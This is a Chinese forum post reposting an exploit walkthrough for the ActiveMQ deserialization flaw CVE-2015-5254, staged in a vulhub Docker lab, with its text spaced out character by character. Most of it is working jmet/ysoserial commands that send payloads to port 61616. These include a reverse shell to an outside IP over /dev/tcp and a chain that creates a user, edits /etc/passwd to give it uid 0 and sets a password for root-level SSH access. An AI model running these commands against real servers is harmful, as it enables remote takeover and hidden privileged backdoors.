搜索

[154] 2020-07-30_ActiveMQ反序列化‐‐CVE‐2015‐5254

文档创建者：s7ckTeam
浏览次数：53
最后更新：2025-01-16
2020-07-30_ActiveMQ反序列化‐‐CVE‐2015‐5254 A c t i v e M Q 反 序 列 化 ‐ ‐ C V E ‐ 2 0 1 5 ‐ 5 2 5 4 原 创   T a o i n g   A d m i n   T e a m   2 0 2 0 - 0 7 - 3 0 一 、 环 境 搭 建 使 用 v u l h u b 一 键 d o c k e r ‐ c o m p o s e   u p   ‐ d   一 键 启 动 漏 洞 环 境 环 境 运 行 后 , 将 监 听 6 1 6 1 6 和 8 1 6 1 两 个 端 口 其 中 6 1 6 1 6 是 工 作 端 口 , 消 息 在 这 个 端 口 进 行 传 递 ; 8 1 6 1 是 网 络 管 理 页 面 端 口 默 认 密 码 : a d m i n , a d m i n 。 二 、 漏 洞 复 现 步 骤 : 1 . 构 造 ( 可 以 使 用 y s o s e r i a l ) 可 执 行 命 令 的 序 列 化 对 象 2 . 作 为 一 个 消 息 , 发 送 给 目 标 6 1 6 1 6 端 口 3 . 访 问 的 W e b 管 理 页 面 , 读 取 消 息 , 触 发 漏 洞 j m e t 进 行 漏 洞 利 用 首 先 下 载 j m e t 的 j a r 文 件 , 并 在 同 目 录 下 创 建 一 个 e x t e r n a l 文 件 夹 ( 否 则 可 能 会 爆 文 件 夹 不 存 在 的 错 误 ) 。 j m e t 原 理 是 使 用 y s o s e r i a l 生 成 P a y l o a d 并 发 送 ( 其 j a r 内 自 带 y s o s e r i a l , 无 需 再 自 己 下 载 ) 。 执 行 命 令 添 加 一 个 事 件 队 列 像 目 标 的 A c t i v e M Q 添 加 一 个 事 件 的 队 列 , 通 过 h t t p : / / i p : 8 1 6 1 / a d m i n / b r o w s e . j s p ? J M S D e s t i n a t i o n = e v e n t 看 到 这 个 队 列 中 所 有 消 息 : c d   / o p t w g e t   h t t p s : / / g i t h u b . c o m / m a t t h i a s k a i s e r / j m e t / r e l e a s e s / d o w n l o a d / 0 . 1 . 0 / j m e t ‐ 0 . 1 . 0 ‐ a l l . j a r m k d i r   e x t e r n a l j a v a   ‐ j a r   j m e t ‐ 0 . 1 . 0 ‐ a l l . j a r   ‐ Q   e v e n t   ‐ I   A c t i v e M Q   ‐ s   ‐ Y   " t o u c h   / t m p / s u c e s s " ‐ Y p   R O M E   8 . 2 1 0 . 1 5 2 . 2 3 4   6 1 6 1 6
点 击 查 看 触 发 漏 洞 命 令 执 行 此 时 进 入 d o c k e r   容 器 进 行 查 看 是 否 成 功 三 、 反 弹 S h e l l 推 荐 工 具 在 线 工 具   h t t p s : / / k r o b e r . b i z / m i s c / r e v e r s e _ s h e l l . p h p d o c k e r   e x e c   ‐ i t   7 7 9 5 7 e a 6 a a 1 b   / b i n / b a s h
推 荐 在 线 编 码 工 具   h t t p : / / w w w . j a c k s o n ‐ t . c a / r u n t i m e ‐ e x e c ‐ p a y l o a d s . h t m l 执 行 命 令   登 录 后 台 点 击 触 发 漏 洞 n c   监 听 相 应 端 口 等 待 s h e l l 回 弹 ( 建 议 使 用 云 服 务 器 监 听 ) 登 录 后 台 点 击 消 息 队 列 : 触 发 命 令 执 行 四 、 添 加 用 户 执 行 j m e t 的 命 令 添 加 t e s t 用 户 并 将 其 添 加 到 r o o t 组 , 返 回 j a v a   ‐ j a r   j m e t ‐ 0 . 1 . 0 ‐ a l l . j a r   ‐ Q   e v e n t   ‐ I   A c t i v e M Q   ‐ s   ‐ Y   " b a s h   ‐ i   > &   / d e v / t c p / 3 9 . 1 0 8 . 1 5 9 . 1 0 0 / 8 9 8 9   0 > & 1 "   ‐ Y p   R O M E   8 . 2 1 0 . 1 5 2 . 2 3 4   6 1 6 1 6 h t t p : / / i p : 8 1 6 1 / a d m i n / b r o w s e . j s p ? J M S D e s t i n a t i o n = e v e n t
页 面 , 点 击 一 下 消 息 , 触 发 它 让 我 们 再 将 p a s s w d 中 的 t e s t 的 u i d 修 改 为 0 , 使 它 拥 有 r o o t 权 限 , 返 回 页 面 , 点 击 一 下 消 息 , 触 发 它 。 让 我 们 再 为 t e s t 用 户 设 置 一 个 密 码 , 返 回 页 面 , 点 击 一 下 消 息 , 触 发 它 。 到 此 为 止 , 一 个 权 限 为 r o o t , 密 码 为 1 2 3 4 5 6 的 用 户 即 创 建 完 毕 。 我 们 可 以 使 用 s s h 直 接 远 程 登 陆 进 入 操 作 系 统 , 并 且 还 是 最 高 权 限 。 h t t p : / / i p : 8 1 6 1 / a d m i n / b r o w s e . j s p ? J M S D e s t i n a t i o n = e v e n t j a v a   ‐ j a r   j m e t ‐ 0 . 1 . 0 ‐ a l l . j a r   ‐ Q   e v e n t   ‐ I   A c t i v e M Q   ‐ s   ‐ Y   " u s e r a d d   ‐ g   r o o t   ‐ s / b i n / b a s h   ‐ u   1 0 0 1 0   t e s t "   ‐ Y p   R O M E   i p   6 1 6 1 6 h t t p : / / i p : 8 1 6 1 / a d m i n / b r o w s e . j s p ? J M S D e s t i n a t i o n = e v e n t j a v a   ‐ j a r   j m e t ‐ 0 . 1 . 0 ‐ a l l . j a r   ‐ Q   e v e n t   ‐ I   A c t i v e M Q   ‐ s   ‐ Y   " s e d   ‐ i   " s / t e s t : x : 1 0 0 1 0 / t e s t : x : 0 / g "   / e t c / p a s s w d "   ‐ Y p   R O M E   i p   6 1 6 1 6 h t t p : / / i p : 8 1 6 1 / a d m i n / b r o w s e . j s p ? J M S D e s t i n a t i o n = e v e n t j a v a   ‐ j a r   j m e t ‐ 0 . 1 . 0 ‐ a l l . j a r   ‐ Q   e v e n t   ‐ I   A c t i v e M Q   ‐ s   ‐ Y   " e c h o   " t e s t : s d 1 2 3 4 5 6 "   |   c h p a s s w d "   ‐ Y p   R O M E   i p   6 1 6 1 6
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理